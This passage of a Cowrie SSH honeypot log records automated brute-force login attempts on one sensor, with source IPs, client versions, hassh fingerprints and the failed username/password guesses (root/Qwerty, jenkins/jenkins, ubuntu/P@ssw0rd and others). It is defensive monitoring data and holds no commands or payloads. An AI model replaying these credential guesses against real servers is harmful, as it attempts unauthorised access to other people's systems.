es256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:12.626508Z","src_ip":"45.153.34.114","session":"cb986a4a5771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:12.895334Z","src_ip":"45.153.34.114","session":"cb986a4a5771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:14.077721Z","src_ip":"45.153.34.114","session":"cb986a4a5771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48190,"dst_ip":"159.203.135.109","dst_port":22,"session":"df17b9f823b9","protocol":"ssh","message":"New connection: 103.75.199.4:48190 (159.203.135.109:22) [session: df17b9f823b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:15.014127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:15.019735Z","src_ip":"103.75.199.4","session":"df17b9f823b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:15.117079Z","src_ip":"103.75.199.4","session":"df17b9f823b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:15.391224Z","src_ip":"103.75.199.4","session":"df17b9f823b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:16.485205Z","src_ip":"103.75.199.4","session":"df17b9f823b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50694,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bcaaffc7c88","protocol":"ssh","message":"New connection: 45.153.34.114:50694 (159.203.135.109:22) [session: 1bcaaffc7c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:20.669938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:20.674487Z","src_ip":"45.153.34.114","session":"1bcaaffc7c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:20.759535Z","src_ip":"45.153.34.114","session":"1bcaaffc7c88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:21.020728Z","src_ip":"45.153.34.114","session":"1bcaaffc7c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:22.108751Z","src_ip":"45.153.34.114","session":"1bcaaffc7c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50716,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ed58ac535fa","protocol":"ssh","message":"New connection: 45.153.34.114:50716 (159.203.135.109:22) [session: 6ed58ac535fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:28.576475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:28.581502Z","src_ip":"45.153.34.114","session":"6ed58ac535fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:28.670555Z","src_ip":"45.153.34.114","session":"6ed58ac535fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:28.925735Z","src_ip":"45.153.34.114","session":"6ed58ac535fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:30.010610Z","src_ip":"45.153.34.114","session":"6ed58ac535fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53764,"dst_ip":"159.203.135.109","dst_port":22,"session":"b579f3bfc5ff","protocol":"ssh","message":"New connection: 45.153.34.114:53764 (159.203.135.109:22) [session: b579f3bfc5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:36.584587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:36.588878Z","src_ip":"45.153.34.114","session":"b579f3bfc5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:36.676536Z","src_ip":"45.153.34.114","session":"b579f3bfc5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39562,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cb89bded32a","protocol":"ssh","message":"New connection: 103.75.199.4:39562 (159.203.135.109:22) [session: 3cb89bded32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:36.896074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:36.900792Z","src_ip":"103.75.199.4","session":"3cb89bded32a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:36.971306Z","src_ip":"45.153.34.114","session":"b579f3bfc5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:36.991309Z","src_ip":"103.75.199.4","session":"3cb89bded32a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:37.264718Z","src_ip":"103.75.199.4","session":"3cb89bded32a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:38.066045Z","src_ip":"45.153.34.114","session":"b579f3bfc5ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:38.357407Z","src_ip":"103.75.199.4","session":"3cb89bded32a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":56204,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e628130292f","protocol":"ssh","message":"New connection: 20.203.42.204:56204 (159.203.135.109:22) [session: 8e628130292f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:40.649858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:40.654089Z","src_ip":"20.203.42.204","session":"8e628130292f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:40.828354Z","src_ip":"20.203.42.204","session":"8e628130292f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qa12pl09","message":"login attempt [root/qa12pl09] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:41.557074Z","src_ip":"20.203.42.204","session":"8e628130292f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:42.736088Z","src_ip":"20.203.42.204","session":"8e628130292f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40540,"dst_ip":"159.203.135.109","dst_port":22,"session":"956437147853","protocol":"ssh","message":"New connection: 45.153.34.114:40540 (159.203.135.109:22) [session: 956437147853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:44.349008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:44.353791Z","src_ip":"45.153.34.114","session":"956437147853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:44.460978Z","src_ip":"45.153.34.114","session":"956437147853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:44.734870Z","src_ip":"45.153.34.114","session":"956437147853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:45.821295Z","src_ip":"45.153.34.114","session":"956437147853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34900,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f6ab5642814","protocol":"ssh","message":"New connection: 45.153.34.114:34900 (159.203.135.109:22) [session: 4f6ab5642814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:52.209170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:52.240461Z","src_ip":"45.153.34.114","session":"4f6ab5642814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:52.295633Z","src_ip":"45.153.34.114","session":"4f6ab5642814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:52.627514Z","src_ip":"45.153.34.114","session":"4f6ab5642814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:53.719798Z","src_ip":"45.153.34.114","session":"4f6ab5642814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46800,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eab9637052c","protocol":"ssh","message":"New connection: 103.75.199.4:46800 (159.203.135.109:22) [session: 8eab9637052c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:58.747274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:41:58.751103Z","src_ip":"103.75.199.4","session":"8eab9637052c","protocol":"ssh"}
